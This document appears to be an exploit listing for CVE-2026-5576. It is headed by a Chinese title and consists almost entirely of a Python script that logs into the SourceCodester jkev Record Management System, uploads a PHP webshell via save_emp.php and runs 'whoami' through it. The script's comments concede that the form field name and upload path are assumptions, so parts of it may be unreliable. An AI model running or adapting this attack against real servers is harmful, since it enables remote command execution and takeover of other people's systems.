CVE-2026-5576：jkev记录管理系统任意文件上传漏洞

#!/usr/bin/env python3 # Exploit Title: SourceCodester jkev Record Management System 1.0 - Unrestricted File Upload (RCE) # Date: 2026-04-05 # Exploit Author: Analyst # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/... # Version: 1.0 # CVE: CVE-2026-5576 import requests # Configuration target_url = "http://target.com/jkev_record_management/" login_url = target_url + "login.php" upload_url = target_url + "save_emp.php" shell_name = "shell.php" username = "admin" # Requires High Privilege (PR:H) password = "password" # Create a session session = requests.Session() # Step 1: Login (High Privilege Required) login_data = { "username": username, "password": password } print("[+] Logging in...") response = session.post(login_url, data=login_data) if "login_success" in response.text or response.status_code == 200: print("[+] Login successful!") else: print("[-] Login failed. Check credentials.") exit() # Step 2: Prepare malicious file (PHP Webshell) php_code = "<?php system($_GET['cmd']); ?>" files = { 'photo': (shell_name, php_code, 'application/octet-stream') } # Step 3: Upload the file via save_emp.php # Note: The parameter name 'photo' is an assumption based on typical employee forms. # Adjust 'photo' and other fields based on the actual form structure. upload_data = { 'firstname': 'Test', 'lastname': 'User', # ... other required fields ... } print(f"[+] Uploading {shell_name}...") response = session.post(upload_url, files=files, data=upload_data) if response.status_code == 200: print("[+] File uploaded. Attempting to execute...") # Step 4: Verify execution shell_url = target_url + "uploads/" + shell_name # Check path structure verify = session.get(shell_url + "?cmd=whoami") if verify.status_code == 200: print(f"[+] Shell accessible at: {shell_url}") else: print("[-] Upload might have failed or path is incorrect.") else: print("[-] Upload request failed.")